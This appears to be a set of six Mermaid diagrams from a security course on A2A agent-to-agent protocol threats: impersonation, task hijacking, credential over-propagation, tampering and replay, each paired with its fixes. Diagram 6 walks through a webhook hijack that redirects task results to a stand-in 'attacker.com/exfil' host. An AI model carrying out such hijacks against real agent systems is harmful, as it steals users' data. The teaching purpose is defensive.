# Diagrams — Deep-Dive SDD-B13: The A2A Protocol — Agent-to-Agent Communication Security

**Deep-Dive**: SDD-B13 — The A2A Protocol: Agent-to-Agent Communication Security
**Diagram count**: 6
**Tool**: Mermaid (primary). Each diagram validated in [Mermaid Live Editor](https://mermaid.live).

---

## Diagram 1 — The A2A Protocol as Attack Surface (the four artifacts an attacker targets)

**Type**: Cluster map
**Purpose**: The single orientation diagram. Shows the four A2A protocol artifacts (Agent Card, Task, Message, Artifact) and the JSON-RPC method surface, each annotated with the attacker's reading — where the artifact becomes a target. This is the protocol-level complement to B6's abstract message-channel diagram.
**Reading the diagram**: Four artifact clusters around a central protocol spine. Each artifact's annotation names the attack surface it creates. The footer is the thesis: A2A is a transport and coordination protocol, not a security protocol.

```mermaid
flowchart TB
  subgraph CARD["AGENT CARD — published reconnaissance"]
    AC1["skills[] — enumerates capabilities\n(tool-abuse / excessive-agency recon)"]
    AC2["url — the attack endpoint, handed over\nwithout scanning"]
    AC3["authentication — declarative scheme,\nNOT verified enforcement"]
    AC4["the card itself — substitutable via\nDNS / server compromise"]
  end
  subgraph TASK["TASK LIFECYCLE — hijackable state machine"]
    TL1["submitted/working — pollable\n(tasks/get data disclosure)"]
    TL2["input-required — any caller can supply input\n(steer the task)"]
    TL3["canceled — tasks/cancel without\ncaller authorization (DoS)"]
    TL4["completed — state not provably earned\n(consume substituted artifacts)"]
  end
  subgraph MSG["MESSAGES + ARTIFACTS — unvalidated content"]
    MA1["role: user/agent — trusted by content,\nnot by verified origin"]
    MA2["parts[] — natural-language content;\nno 'data not instruction' syntax"]
    MA3["multi-hop chain — signature proves\nimmediate sender, not taint source"]
  end
  subgraph RPC["JSON-RPC METHODS — the attack endpoints"]
    RP1["message/send — primary injection\nmessage/stream — long-lived SSE channel"]
    RP2["tasks/pushNotification/set — webhook\nregistration (replay/hijack vector)"]
  end

  THESIS["A2A is a TRANSPORT & COORDINATION protocol,\nNOT a security protocol.\nAuthentication, integrity, freshness, authorization\nare the implementer's responsibility, layered on top.\nThe gaps are everywhere TLS was treated as sufficient."]

  RPC --> THESIS

  style CARD fill:#14141f,stroke:rgba(94,234,212,0.5),color:#e4e4e8
  style TASK fill:#14141f,stroke:rgba(240,168,104,0.5),color:#e4e4e8
  style MSG fill:#14141f,stroke:rgba(94,234,212,0.5),color:#e4e4e8
  style RPC fill:#14141f,stroke:rgba(240,128,128,0.5),color:#e4e4e8
  style AC1 fill:#08080c,stroke:rgba(94,234,212,0.3),color:#5eead4
  style AC2 fill:#08080c,stroke:rgba(94,234,212,0.3),color:#5eead4
  style AC3 fill:#08080c,stroke:rgba(94,234,212,0.3),color:#5eead4
  style AC4 fill:#08080c,stroke:rgba(94,234,212,0.4),color:#5eead4
  style TL1 fill:#08080c,stroke:rgba(240,168,104,0.3),color:#f0a868
  style TL2 fill:#08080c,stroke:rgba(240,168,104,0.3),color:#f0a868
  style TL3 fill:#08080c,stroke:rgba(240,168,104,0.3),color:#f0a868
  style TL4 fill:#08080c,stroke:rgba(240,168,104,0.4),color:#f0a868
  style MA1 fill:#08080c,stroke:rgba(94,234,212,0.3),color:#5eead4
  style MA2 fill:#08080c,stroke:rgba(94,234,212,0.3),color:#5eead4
  style MA3 fill:#08080c,stroke:rgba(94,234,212,0.4),color:#5eead4
  style RP1 fill:#08080c,stroke:rgba(240,128,128,0.3),color:#f08080
  style RP2 fill:#08080c,stroke:rgba(240,128,128,0.4),color:#f08080
  style THESIS fill:#08080c,stroke:#5eead4,stroke-width:1.5px,color:#5eead4
```

---

## Diagram 2 — MCP vs A2A (the two complementary protocols and the boundary between them)

**Type**: Side-by-side comparison with a boundary
**Purpose**: Resolves the most common confusion about A2A — its relationship to MCP. Shows that MCP is agent-to-tool and A2A is agent-to-agent, that they compose in a real system, and that the boundary (an "agent behind an MCP interface") is itself an attack surface requiring A2A-grade authorization.
**Reading the diagram**: Left = MCP (agent calls a tool, in-process or local, framework-level trust). Right = A2A (agent calls another agent, over the network, protocol-level trust). The boundary node names the risk: an agent registered as an MCP "tool" inherits MCP's weaker model while exercising A2A's richer capability surface.

```mermaid
flowchart LR
  subgraph MCP["MCP — agent-to-tool"]
    direction TB
    M1["Agent"]
    M2["MCP Server\n(tools, resources, prompts)"]
    M3["Database / API / Filesystem"]
    M1 -->|MCP call| M2
    M2 --> M3
  end
  subgraph A2A["A2A — agent-to-agent"]
    direction TB
    A1["Agent A\n(orchestrator)"]
    A2["Agent B\n(remote, independent)"]
    A3["Agent B's own tools\n(its own MCP servers)"]
    A1 -->|JSON-RPC: message/send\n+ Agent Card discovery| A2
    A2 --> A3
  end

  BOUNDARY["THE BOUNDARY — an 'agent behind an MCP interface'\nA remote agent registered as a local tool inherits MCP's\nWEAKER trust model while exercising A2A's RICHER\ncapability surface. Apply A2A-grade authorization\nregardless of the registration protocol."]

  MCP --> BOUNDARY
  A2A --> BOUNDARY

  style MCP fill:#14141f,stroke:rgba(94,234,212,0.5),color:#e4e4e8
  style A2A fill:#14141f,stroke:rgba(240,128,128,0.5),color:#e4e4e8
  style M1 fill:#08080c,stroke:rgba(94,234,212,0.3),color:#5eead4
  style M2 fill:#08080c,stroke:rgba(94,234,212,0.3),color:#5eead4
  style M3 fill:#08080c,stroke:rgba(94,234,212,0.3),color:#5eead4
  style A1 fill:#08080c,stroke:rgba(240,128,128,0.3),color:#f08080
  style A2 fill:#08080c,stroke:rgba(240,128,128,0.3),color:#f08080
  style A3 fill:#08080c,stroke:rgba(240,128,128,0.3),color:#f08080
  style BOUNDARY fill:#08080c,stroke:#f0a868,stroke-width:1.5px,color:#f0a868
```

---

## Diagram 3 — The Four Orchestration Topologies and Their Cascade Blast Radius

**Type**: Four-quadrant topology comparison
**Purpose**: The load-bearing diagram for SDD-B13.3. Shows the four multi-agent orchestration architectures (orchestrator-worker, peer-to-peer, hierarchical, market-based) and, for each, the cascade blast radius when one agent is compromised. The footer names the controls that bound propagation.
**Reading the diagram**: Four subgraphs, one per topology. Each shows the propagation path (in red) from a single compromised node. The cascade annotation names how far the damage spreads. Compare the four to see why peer-to-peer has the worst blast radius and why hierarchical risk depends on the depth of the compromised node.

```mermaid
flowchart TB
  subgraph OW["ORCHESTRATOR-WORKER — chokepoint topology"]
    direction TB
    OWO["Orchestrator\n(chokepoint)"]
    OWW1["Worker 1"]
    OWW2["Worker 2"]
    OWW3["Worker 3\n(compromised)"]
    OWO --> OWW1
    OWO --> OWW2
    OWO --> OWW3
  end
  subgraph P2P["PEER-TO-PEER — worst blast radius"]
    direction TB
    P1["Agent 1"]
    P2["Agent 2\n(compromised)"]
    P3["Agent 3"]
    P4["Agent 4"]
    P1 <--> P2
    P2 <--> P3
    P3 <--> P4
    P1 <--> P4
  end
  subgraph HIER["HIERARCHICAL — depth-dependent risk"]
    direction TB
    HR["Root orchestrator"]
    HM1["Supervisor 1"]
    HM2["Supervisor 2\n(compromised)"]
    HL1["Leaf 1a"]
    HL2["Leaf 1b"]
    HL3["Leaf 2a"]
    HL4["Leaf 2b"]
    HR --> HM1
    HR --> HM2
    HM1 --> HL1
    HM1 --> HL2
    HM2 --> HL3
    HM2 --> HL4
  end
  subgraph MKT["MARKET-BASED — selection is the attack"]
    direction TB
    MKA["Announcing agent"]
    MKB1["Bidder 1"]
    MKB2["Bidder 2\n(spoofed / malicious)"]
    MKB3["Bidder 3"]
    MKW["Winner = Bidder 2"]
    MKA --> MKB1
    MKA --> MKB2
    MKA --> MKB3
    MKB2 -->|wins| MKW
  end

  OW_RISK["BLAST: bounded to Worker 3's scope.\nUNLESS orchestrator holds full credentials\npassed to each worker."]
  P2P_RISK["BLAST: every peer, eventually.\nThe mesh-wide worst case (B6 warning)."]
  HIER_RISK["BLAST: Supervisor 2's entire subtree\n(Leaves 3, 4). Root is safe if credentials\nattenuate down the tree."]
  MKT_RISK["BLAST: any task the malicious bidder wins.\nSelection integrity = bid signatures + audit."]

  OW --> OW_RISK
  P2P --> P2P_RISK
  HIER --> HIER_RISK
  MKT --> MKT_RISK

  CONTROLS["CONTROLS that bound propagation:\nscoped credentials (B5) · capability tokens with attenuation ·\ndelegation-depth limits · fan-out caps · external-action allowlists ·\nsigned bids (market) · per-Task re-authorization against original principal"]

  OW_RISK --> CONTROLS
  P2P_RISK --> CONTROLS
  HIER_RISK --> CONTROLS
  MKT_RISK --> CONTROLS

  style OW fill:#14141f,stroke:rgba(94,234,212,0.5),color:#e4e4e8
  style P2P fill:#14141f,stroke:rgba(240,128,128,0.5),color:#e4e4e8
  style HIER fill:#14141f,stroke:rgba(240,168,104,0.5),color:#e4e4e8
  style MKT fill:#14141f,stroke:rgba(240,168,104,0.5),color:#e4e4e8
  style OWO fill:#08080c,stroke:rgba(94,234,212,0.3),color:#5eead4
  style OWW1 fill:#08080c,stroke:rgba(94,234,212,0.3),color:#5eead4
  style OWW2 fill:#08080c,stroke:rgba(94,234,212,0.3),color:#5eead4
  style OWW3 fill:#08080c,stroke:rgba(240,128,128,0.4),color:#f08080
  style P1 fill:#08080c,stroke:rgba(94,234,212,0.3),color:#5eead4
  style P2 fill:#08080c,stroke:rgba(240,128,128,0.4),color:#f08080
  style P3 fill:#08080c,stroke:rgba(94,234,212,0.3),color:#5eead4
  style P4 fill:#08080c,stroke:rgba(94,234,212,0.3),color:#5eead4
  style HR fill:#08080c,stroke:rgba(94,234,212,0.3),color:#5eead4
  style HM1 fill:#08080c,stroke:rgba(94,234,212,0.3),color:#5eead4
  style HM2 fill:#08080c,stroke:rgba(240,128,128,0.4),color:#f08080
  style HL1 fill:#08080c,stroke:rgba(94,234,212,0.3),color:#5eead4
  style HL2 fill:#08080c,stroke:rgba(94,234,212,0.3),color:#5eead4
  style HL3 fill:#08080c,stroke:rgba(240,168,104,0.3),color:#f0a868
  style HL4 fill:#08080c,stroke:rgba(240,168,104,0.3),color:#f0a868
  style MKA fill:#08080c,stroke:rgba(94,234,212,0.3),color:#5eead4
  style MKB1 fill:#08080c,stroke:rgba(94,234,212,0.3),color:#5eead4
  style MKB2 fill:#08080c,stroke:rgba(240,128,128,0.4),color:#f08080
  style MKB3 fill:#08080c,stroke:rgba(94,234,212,0.3),color:#5eead4
  style MKW fill:#08080c,stroke:rgba(240,128,128,0.4),color:#f08080
  style OW_RISK fill:#08080c,stroke:rgba(94,234,212,0.4),color:#5eead4
  style P2P_RISK fill:#08080c,stroke:#f08080,stroke-width:1.5px,color:#f08080
  style HIER_RISK fill:#08080c,stroke:rgba(240,168,104,0.4),color:#f0a868
  style MKT_RISK fill:#08080c,stroke:rgba(240,168,104,0.4),color:#f0a868
  style CONTROLS fill:#08080c,stroke:#5eead4,stroke-width:1.5px,color:#5eead4
```

---

## Diagram 4 — The Delegation Chain (over-propagation vs attenuated capability tokens)

**Type**: Two-track comparison
**Purpose**: The load-bearing diagram for SDD-B13.2's delegation analysis. Shows the difference between passing a full credential down a chain (over-propagation — a compromised leaf holds the root's authority) and minting attenuated capability tokens at each hop (the leaf's token is worthless outside its task). This is the concrete realization of B6's blast-radius caps at the A2A layer.
**Reading the diagram**: Top track = over-propagation (the credential does not attenuate; the compromised extraction agent holds the orchestrator's full authority and can call anything). Bottom track = attenuated capability tokens (each hop mints a strictly weaker token; the leaf's token authorizes only the specific method on the specific Task). The annotation names the difference as the cascade-bounding control.

```mermaid
flowchart TB
  subgraph BAD["OVER-PROPAGATION — full credential passed down"]
    direction LR
    B1["Orchestrator\nholds: full cred"]
    B2["Research agent\nholds: full cred\n(passed unchanged)"]
    B3["Extraction agent\nholds: full cred\nCOMPROMISED"]
    B4["Attacker calls ANY agent\nthe orchestrator could"]
    B1 -->|"forwards cred"| B2
    B2 -->|"forwards cred"| B3
    B3 -.->|"escapes scope"| B4
  end
  subgraph GOOD["ATTENUATED CAPABILITY TOKENS — authority shrinks each hop"]
    direction LR
    G1["Orchestrator\nmints: token(method=message/send,\nTask=T1, max-depth=2)"]
    G2["Research agent\nreceives token, mints child:\n(method=message/send, Task=T1, depth=1)"]
    G3["Extraction agent\nreceives child token\nCOMPROMISED"]
    G4["Token is worthless:\nauthorizes only message/send on Task T1.\nNo other agent, no other task, no other method."]
    G1 -->|"child token, depth-1"| G2
    G2 -->|"child token, depth-0"| G3
    G3 -.->|"tries to escape"| G4
  end

  PRINCIPLE["Cascade bounding at the A2A layer:\nevery delegation mints a STRICTLY WEAKER token.\nThe leaf's compromise cannot exceed the task\nit was minted for. This is B5's scoped credential\nand B6's blast-radius cap, applied inter-agent."]

  BAD --> PRINCIPLE
  GOOD --> PRINCIPLE

  style BAD fill:#14141f,stroke:rgba(240,128,128,0.5),color:#e4e4e8
  style GOOD fill:#14141f,stroke:rgba(94,234,212,0.5),color:#e4e4e8
  style B1 fill:#08080c,stroke:rgba(240,128,128,0.3),color:#f08080
  style B2 fill:#08080c,stroke:rgba(240,128,128,0.3),color:#f08080
  style B3 fill:#08080c,stroke:rgba(240,128,128,0.4),color:#f08080
  style B4 fill:#08080c,stroke:#f08080,stroke-width:1.5px,color:#f08080
  style G1 fill:#08080c,stroke:rgba(94,234,212,0.3),color:#5eead4
  style G2 fill:#08080c,stroke:rgba(94,234,212,0.3),color:#5eead4
  style G3 fill:#08080c,stroke:rgba(240,128,128,0.4),color:#f08080
  style G4 fill:#08080c,stroke:rgba(130,224,170,0.4),color:#82e0aa
  style PRINCIPLE fill:#08080c,stroke:#5eead4,stroke-width:1.5px,color:#5eead4
```

---

## Diagram 5 — The Four Core A2A Threats mapped to B6 Controls

**Type**: Threat-to-control mapping table (flowchart form)
**Purpose**: Shows that A2A's four core threats (impersonation, task hijacking, tampering, replay) are the concrete protocol-level realization of B6's abstract attacks — and names the A2A-specific fix for each. Resolves the "B6 covered this" objection by showing what is new: the protocol artifacts and the specific gaps TLS does not close.
**Reading the diagram**: Four threat rows. Each row names the threat, the A2A artifact it targets, the B6 control it inherits, and the A2A-specific fix that goes beyond B6. The footer is the relationship: B6 named the attacks; A2A names the artifacts; the fixes are protocol-specific.

```mermaid
flowchart TB
  T1["THREAT 1 — AGENT IMPERSONATION\ntarget: Agent Card (substituted or forged)\n+ stolen credential\nB6 control: assumed you knew who you talked to\nA2A FIX: sign the Agent Card; url allowlist;\n audience-bound tokens (aud claim checked)"]
  T2["THREAT 2 — TASK HIJACKING\ntarget: Task lifecycle (cancel, input-required, races)\nB6 control: did not address task state machines\n(NEW attack surface A2A introduces)\nA2A FIX: caller-bound authz on state-mutating calls;\nrandom Task IDs; state-transition proofs"]
  T3["THREAT 3 — MESSAGE TAMPERING\ntarget: JSON-RPC payload at proxy/middleware/MITM\nB6 control: HMAC / asymmetric signatures\nA2A FIX: application-layer payload signatures\nover canonical-JSON body; verify after TLS termination"]
  T4["THREAT 4 — REPLAY (esp. pushNotification/set)\ntarget: captured message/send or webhook registration\nB6 control: nonces + timestamps + freshness window\nA2A FIX: nonce + timestamp in JSON-RPC envelope;\nrecipient rejects stale or seen-nonce calls;\n webhook registration bound to original caller"]

  RELATION["B6 NAMED the attacks in the abstract.\nA2A NAMES the protocol artifacts.\nThe FIXES are protocol-specific — but every fix\nis B5/B6 controls applied at the A2A boundary."]

  T1 --> RELATION
  T2 --> RELATION
  T3 --> RELATION
  T4 --> RELATION

  style T1 fill:#08080c,stroke:rgba(240,128,128,0.4),color:#f08080
  style T2 fill:#08080c,stroke:rgba(240,168,104,0.4),color:#f0a868
  style T3 fill:#08080c,stroke:rgba(240,128,128,0.4),color:#f08080
  style T4 fill:#08080c,stroke:rgba(240,128,128,0.4),color:#f08080
  style RELATION fill:#08080c,stroke:#5eead4,stroke-width:1.5px,color:#5eead4
```

---

## Diagram 6 — The Push-Notification Hijack (the most A2A-specific attack)

**Type**: Attack sequence flow
**Purpose**: Walks through the single most A2A-specific attack — the `tasks/pushNotification/set` replay/registration hijack — step by step. Shows how an attacker who can enumerate Task IDs redirects a victim's task results to their own webhook without touching the task's content. This is data exfiltration at protocol granularity.
**Reading the diagram**: Five steps. The victim registers a legitimate webhook. The attacker enumerates Task IDs (because they are predictable). The attacker re-registers the webhook to their own URL. The agent sends the completed task's results to the attacker's webhook. The victim never receives their results. The footer names the fix.

```mermaid
flowchart LR
  S1["1. VICTIM\ntasks/pushNotification/set\nwebhook = victim.com/callback\nfor Task T1"]
  S2["2. ATTACKER\nenumerates Task IDs\n(T1, T2, ... are predictable:\nsequential or timestamp-derived)"]
  S3["3. ATTACKER\ntasks/pushNotification/set\nwebhook = attacker.com/exfil\nfor Task T1 (overrides)"]
  S4["4. AGENT\nTask T1 completes\nPOSTs results to\nattacker.com/exfil"]
  S5["5. VICTIM\nnever receives results\nattacker holds the Artifact\n(data exfiltration)"]

  S1 --> S2 --> S3 --> S4 --> S5

  FIX["FIXES:\n(1) random 128-bit Task IDs (no enumeration)\n(2) pushNotification/set bound to original caller only\n(3) webhook URL must match a pre-registered allowlist\n(4) webhook receives a signed challenge the victim verifies\n(5) the registration itself carries a nonce + timestamp"]

  S5 --> FIX

  style S1 fill:#08080c,stroke:rgba(94,234,212,0.3),color:#5eead4
  style S2 fill:#08080c,stroke:rgba(240,168,104,0.3),color:#f0a868
  style S3 fill:#08080c,stroke:rgba(240,128,128,0.4),color:#f08080
  style S4 fill:#08080c,stroke:rgba(240,128,128,0.3),color:#f08080
  style S5 fill:#08080c,stroke:#f08080,stroke-width:1.5px,color:#f08080
  style FIX fill:#08080c,stroke:#5eead4,stroke-width:1.5px,color:#5eead4
```

---

## Validation notes

- All six diagrams use the course design system colors: `#14141f` panel fill, `#08080c` deep background for nested nodes, `#5eead4` teal accent for protocol/discovery surfaces and principle nodes, `#f0a868` warn for task-lifecycle/hierarchical structural surfaces and boundary warnings, `#f08080` danger for the attack endpoints, compromised nodes, and impact. `#82e0aa` is reserved for the single "token worthless" success node in Diagram 4. `#e4e4e8` / `#9494a0` for text.
- Paste each into [Mermaid Live Editor](https://mermaid.live) to render. All use stable Mermaid syntax (`flowchart TB/LR`, `subgraph`, `direction LR/TB`) supported in current Mermaid (v10.4+).
- For the slide deck (artifact 03), these are rendered as static captures from Mermaid Live, inlined into reveal.js.
- The teal/warn/danger color coding is consistent across diagrams and consistent with SDD-B01's convention: teal = the discovery/coordination surface and the principle nodes; warn (orange) = the task-lifecycle/hierarchical structural surface and the MCP/A2A boundary; danger (red) = the attack endpoints, compromised nodes, and impact. This mapping is load-bearing — it lets the reader track which surface a node belongs to across all six diagrams and across deep-dives.